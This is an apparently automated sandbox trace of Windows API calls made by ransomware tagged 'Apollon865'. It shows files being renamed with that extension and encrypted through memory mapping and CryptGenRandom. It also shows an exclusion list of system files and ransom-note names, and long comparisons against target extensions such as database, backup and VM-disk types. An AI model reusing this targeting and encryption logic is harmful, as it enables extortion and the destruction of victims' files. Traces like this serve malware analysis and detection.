	[0087.426] lstrlenW (lpString="dbs") returned 3
	[0087.426] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0087.426] lstrlenW (lpString="dbt") returned 3
	[0087.426] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0087.426] lstrlenW (lpString="dbv") returned 3
	[0087.426] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0087.426] lstrlenW (lpString="dbx") returned 3
	[0087.426] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0087.426] lstrlenW (lpString="dcb") returned 3
	[0087.426] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0087.427] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1
	[0087.427] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1
	[0087.427] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1
	[0087.427] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1
	[0087.427] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SIc7.gif.Apollon865") returned 73
	[0087.427] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SIc7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\sic7.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SIc7.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\sic7.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SIc7.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\sic7.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.429] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=28385) returned 1
	[0087.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.429] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.430] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.430] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.430] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x71f0, lpName=0x0) returned 0x15c
	[0087.430] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x71f0) returned 0x100000
	[0087.432] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.433] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.433] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.433] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.434] CloseHandle (hObject=0x15c) returned 1
	[0087.434] CloseHandle (hObject=0x9c) returned 1
	[0087.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.435] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c1b0b0, ftCreationTime.dwHighDateTime=0x1d4cbac, ftLastAccessTime.dwLowDateTime=0xf40a9cf0, ftLastAccessTime.dwHighDateTime=0x1d4d53b, ftLastWriteTime.dwLowDateTime=0xf40a9cf0, ftLastWriteTime.dwHighDateTime=0x1d4d53b, nFileSizeHigh=0x0, nFileSizeLow=0x48c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlfNUhEGfxu7sXLips.png", cAlternateFileName="ZLFNUH~1.PNG")) returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="Apollon865.txt.exe") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2=".") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="..") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="windows") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="bootmgr") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="temp") returned 1
	[0087.435] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="pagefile.sys") returned 1
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="boot") returned 1
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="ids.txt") returned 1
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="ntuser.dat") returned 1
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="perflogs") returned 1
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2="MSBuild") returned 1
	[0087.436] lstrlenW (lpString="zlfNUhEGfxu7sXLips.png") returned 22
	[0087.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SIc7.gif") returned 62
	[0087.436] lstrcpyW (in: lpString1=0x119e674, lpString2="zlfNUhEGfxu7sXLips.png" | out: lpString1="zlfNUhEGfxu7sXLips.png") returned="zlfNUhEGfxu7sXLips.png"
	[0087.436] lstrlenW (lpString="zlfNUhEGfxu7sXLips.png") returned 22
	[0087.436] lstrlenW (lpString="Apollon865") returned 10
	[0087.436] lstrcmpiW (lpString1="sXLips.png", lpString2="Apollon865") returned 1
	[0087.436] lstrlenW (lpString=".dll") returned 4
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2=".dll") returned 1
	[0087.436] lstrlenW (lpString=".lnk") returned 4
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2=".lnk") returned 1
	[0087.436] lstrlenW (lpString=".ini") returned 4
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2=".ini") returned 1
	[0087.436] lstrlenW (lpString=".sys") returned 4
	[0087.436] lstrcmpiW (lpString1="zlfNUhEGfxu7sXLips.png", lpString2=".sys") returned 1
	[0087.436] lstrlenW (lpString="zlfNUhEGfxu7sXLips.png") returned 22
	[0087.436] lstrlenW (lpString="bak") returned 3
	[0087.436] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0087.436] lstrlenW (lpString="ba_") returned 3
	[0087.436] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0087.436] lstrlenW (lpString="dbb") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0087.437] lstrlenW (lpString="vmdk") returned 4
	[0087.437] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0087.437] lstrlenW (lpString="rar") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0087.437] lstrlenW (lpString="zip") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0087.437] lstrlenW (lpString="tgz") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0087.437] lstrlenW (lpString="vbox") returned 4
	[0087.437] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0087.437] lstrlenW (lpString="vdi") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0087.437] lstrlenW (lpString="vhd") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0087.437] lstrlenW (lpString="vhdx") returned 4
	[0087.437] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0087.437] lstrlenW (lpString="avhd") returned 4
	[0087.437] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0087.437] lstrlenW (lpString="db") returned 2
	[0087.437] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0087.437] lstrlenW (lpString="db2") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0087.437] lstrlenW (lpString="db3") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0087.437] lstrlenW (lpString="dbf") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0087.437] lstrlenW (lpString="mdf") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0087.437] lstrlenW (lpString="mdb") returned 3
	[0087.437] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0087.437] lstrlenW (lpString="sql") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0087.438] lstrlenW (lpString="sqlite") returned 6
	[0087.438] lstrcmpiW (lpString1="ps.png", lpString2="sqlite") returned -1
	[0087.438] lstrlenW (lpString="sqlite3") returned 7
	[0087.438] lstrcmpiW (lpString1="ips.png", lpString2="sqlite3") returned -1
	[0087.438] lstrlenW (lpString="sqlitedb") returned 8
	[0087.438] lstrcmpiW (lpString1="Lips.png", lpString2="sqlitedb") returned -1
	[0087.438] lstrlenW (lpString="xml") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0087.438] lstrlenW (lpString="$er") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0087.438] lstrlenW (lpString="4dd") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0087.438] lstrlenW (lpString="4dl") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0087.438] lstrlenW (lpString="^^^") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0087.438] lstrlenW (lpString="abs") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0087.438] lstrlenW (lpString="abx") returned 3
	[0087.438] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0087.438] lstrlenW (lpString="accdb") returned 5
	[0087.438] lstrcmpiW (lpString1="s.png", lpString2="accdb") returned 1
	[0087.438] lstrlenW (lpString="accdc") returned 5
	[0087.438] lstrcmpiW (lpString1="s.png", lpString2="accdc") returned 1
	[0087.438] lstrlenW (lpString="accde") returned 5
	[0087.438] lstrcmpiW (lpString1="s.png", lpString2="accde") returned 1
	[0087.438] lstrlenW (lpString="accdr") returned 5
	[0087.438] lstrcmpiW (lpString1="s.png", lpString2="accdr") returned 1
	[0087.438] lstrlenW (lpString="accdt") returned 5
	[0087.438] lstrcmpiW (lpString1="s.png", lpString2="accdt") returned 1
	[0087.438] lstrlenW (lpString="accdw") returned 5
	[0087.439] lstrcmpiW (lpString1="s.png", lpString2="accdw") returned 1
	[0087.439] lstrlenW (lpString="accft") returned 5
	[0087.439] lstrcmpiW (lpString1="s.png", lpString2="accft") returned 1
	[0087.439] lstrlenW (lpString="adb") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.439] lstrlenW (lpString="adb") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.439] lstrlenW (lpString="ade") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0087.439] lstrlenW (lpString="adf") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0087.439] lstrlenW (lpString="adn") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0087.439] lstrlenW (lpString="adp") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0087.439] lstrlenW (lpString="alf") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0087.439] lstrlenW (lpString="ask") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0087.439] lstrlenW (lpString="btr") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0087.439] lstrlenW (lpString="cat") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0087.439] lstrlenW (lpString="cdb") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0087.439] lstrlenW (lpString="ckp") returned 3
	[0087.439] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0087.439] lstrlenW (lpString="cma") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0087.440] lstrlenW (lpString="cpd") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0087.440] lstrlenW (lpString="dacpac") returned 6
	[0087.440] lstrcmpiW (lpString1="ps.png", lpString2="dacpac") returned 1
	[0087.440] lstrlenW (lpString="dad") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0087.440] lstrlenW (lpString="dadiagrams") returned 10
	[0087.440] lstrcmpiW (lpString1="sXLips.png", lpString2="dadiagrams") returned 1
	[0087.440] lstrlenW (lpString="daschema") returned 8
	[0087.440] lstrcmpiW (lpString1="Lips.png", lpString2="daschema") returned 1
	[0087.440] lstrlenW (lpString="db-journal") returned 10
	[0087.440] lstrcmpiW (lpString1="sXLips.png", lpString2="db-journal") returned 1
	[0087.440] lstrlenW (lpString="db-shm") returned 6
	[0087.440] lstrcmpiW (lpString1="ps.png", lpString2="db-shm") returned 1
	[0087.440] lstrlenW (lpString="db-wal") returned 6
	[0087.440] lstrcmpiW (lpString1="ps.png", lpString2="db-wal") returned 1
	[0087.440] lstrlenW (lpString="dbc") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0087.440] lstrlenW (lpString="dbs") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0087.440] lstrlenW (lpString="dbt") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0087.440] lstrlenW (lpString="dbv") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0087.440] lstrlenW (lpString="dbx") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0087.440] lstrlenW (lpString="dcb") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0087.440] lstrlenW (lpString="dct") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0087.440] lstrlenW (lpString="dcx") returned 3
	[0087.440] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0087.440] lstrlenW (lpString="ddl") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0087.441] lstrlenW (lpString="dlis") returned 4
	[0087.441] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0087.441] lstrlenW (lpString="dp1") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0087.441] lstrlenW (lpString="dqy") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0087.441] lstrlenW (lpString="dsk") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0087.441] lstrlenW (lpString="dsn") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0087.441] lstrlenW (lpString="dtsx") returned 4
	[0087.441] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0087.441] lstrlenW (lpString="dxl") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0087.441] lstrlenW (lpString="eco") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0087.441] lstrlenW (lpString="ecx") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0087.441] lstrlenW (lpString="edb") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0087.441] lstrlenW (lpString="epim") returned 4
	[0087.441] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0087.441] lstrlenW (lpString="fcd") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0087.441] lstrlenW (lpString="fdb") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0087.441] lstrlenW (lpString="fic") returned 3
	[0087.441] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0087.441] lstrlenW (lpString="flexolibrary") returned 12
	[0087.441] lstrcmpiW (lpString1="u7sXLips.png", lpString2="flexolibrary") returned 1
	[0087.442] lstrlenW (lpString="fm5") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0087.442] lstrlenW (lpString="fmp") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0087.442] lstrlenW (lpString="fmp12") returned 5
	[0087.442] lstrcmpiW (lpString1="s.png", lpString2="fmp12") returned 1
	[0087.442] lstrlenW (lpString="fmpsl") returned 5
	[0087.442] lstrcmpiW (lpString1="s.png", lpString2="fmpsl") returned 1
	[0087.442] lstrlenW (lpString="fol") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0087.442] lstrlenW (lpString="fp3") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0087.442] lstrlenW (lpString="fp4") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0087.442] lstrlenW (lpString="fp5") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0087.442] lstrlenW (lpString="fp7") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0087.442] lstrlenW (lpString="fpt") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0087.442] lstrlenW (lpString="frm") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0087.442] lstrlenW (lpString="gdb") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0087.442] lstrlenW (lpString="gdb") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0087.442] lstrlenW (lpString="grdb") returned 4
	[0087.442] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0087.442] lstrlenW (lpString="gwi") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0087.442] lstrlenW (lpString="hdb") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0087.442] lstrlenW (lpString="his") returned 3
	[0087.442] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0087.443] lstrlenW (lpString="ib") returned 2
	[0087.443] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0087.443] lstrlenW (lpString="idb") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0087.443] lstrlenW (lpString="ihx") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0087.443] lstrlenW (lpString="itdb") returned 4
	[0087.443] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0087.443] lstrlenW (lpString="itw") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0087.443] lstrlenW (lpString="jet") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0087.443] lstrlenW (lpString="jtx") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0087.443] lstrlenW (lpString="kdb") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0087.443] lstrlenW (lpString="kexi") returned 4
	[0087.443] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0087.443] lstrlenW (lpString="kexic") returned 5
	[0087.443] lstrcmpiW (lpString1="s.png", lpString2="kexic") returned 1
	[0087.443] lstrlenW (lpString="kexis") returned 5
	[0087.443] lstrcmpiW (lpString1="s.png", lpString2="kexis") returned 1
	[0087.443] lstrlenW (lpString="lgc") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0087.443] lstrlenW (lpString="lwx") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0087.443] lstrlenW (lpString="maf") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0087.443] lstrlenW (lpString="maq") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0087.443] lstrlenW (lpString="mar") returned 3
	[0087.443] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0087.443] lstrlenW (lpString="marshal") returned 7
	[0087.443] lstrcmpiW (lpString1="ips.png", lpString2="marshal") returned -1
	[0087.443] lstrlenW (lpString="mas") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0087.444] lstrlenW (lpString="mav") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0087.444] lstrlenW (lpString="maw") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0087.444] lstrlenW (lpString="mdbhtml") returned 7
	[0087.444] lstrcmpiW (lpString1="ips.png", lpString2="mdbhtml") returned -1
	[0087.444] lstrlenW (lpString="mdn") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0087.444] lstrlenW (lpString="mdt") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0087.444] lstrlenW (lpString="mfd") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0087.444] lstrlenW (lpString="mpd") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0087.444] lstrlenW (lpString="mrg") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0087.444] lstrlenW (lpString="mud") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0087.444] lstrlenW (lpString="mwb") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0087.444] lstrlenW (lpString="myd") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0087.444] lstrlenW (lpString="ndf") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0087.444] lstrlenW (lpString="nnt") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0087.444] lstrlenW (lpString="nrmlib") returned 6
	[0087.444] lstrcmpiW (lpString1="ps.png", lpString2="nrmlib") returned 1
	[0087.444] lstrlenW (lpString="ns2") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0087.444] lstrlenW (lpString="ns3") returned 3
	[0087.444] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0087.444] lstrlenW (lpString="ns4") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0087.445] lstrlenW (lpString="nsf") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0087.445] lstrlenW (lpString="nv") returned 2
	[0087.445] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0087.445] lstrlenW (lpString="nv2") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0087.445] lstrlenW (lpString="nwdb") returned 4
	[0087.445] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0087.445] lstrlenW (lpString="nyf") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0087.445] lstrlenW (lpString="odb") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0087.445] lstrlenW (lpString="odb") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0087.445] lstrlenW (lpString="oqy") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0087.445] lstrlenW (lpString="ora") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0087.445] lstrlenW (lpString="orx") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0087.445] lstrlenW (lpString="owc") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0087.445] lstrlenW (lpString="p96") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0087.445] lstrlenW (lpString="p97") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0087.445] lstrlenW (lpString="pan") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0087.445] lstrlenW (lpString="pdb") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0087.445] lstrlenW (lpString="pdm") returned 3
	[0087.445] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0087.445] lstrlenW (lpString="pnz") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0087.446] lstrlenW (lpString="qry") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0087.446] lstrlenW (lpString="qvd") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0087.446] lstrlenW (lpString="rbf") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0087.446] lstrlenW (lpString="rctd") returned 4
	[0087.446] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0087.446] lstrlenW (lpString="rod") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0087.446] lstrlenW (lpString="rodx") returned 4
	[0087.446] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0087.446] lstrlenW (lpString="rpd") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0087.446] lstrlenW (lpString="rsd") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0087.446] lstrlenW (lpString="sas7bdat") returned 8
	[0087.446] lstrcmpiW (lpString1="Lips.png", lpString2="sas7bdat") returned -1
	[0087.446] lstrlenW (lpString="sbf") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0087.446] lstrlenW (lpString="scx") returned 3
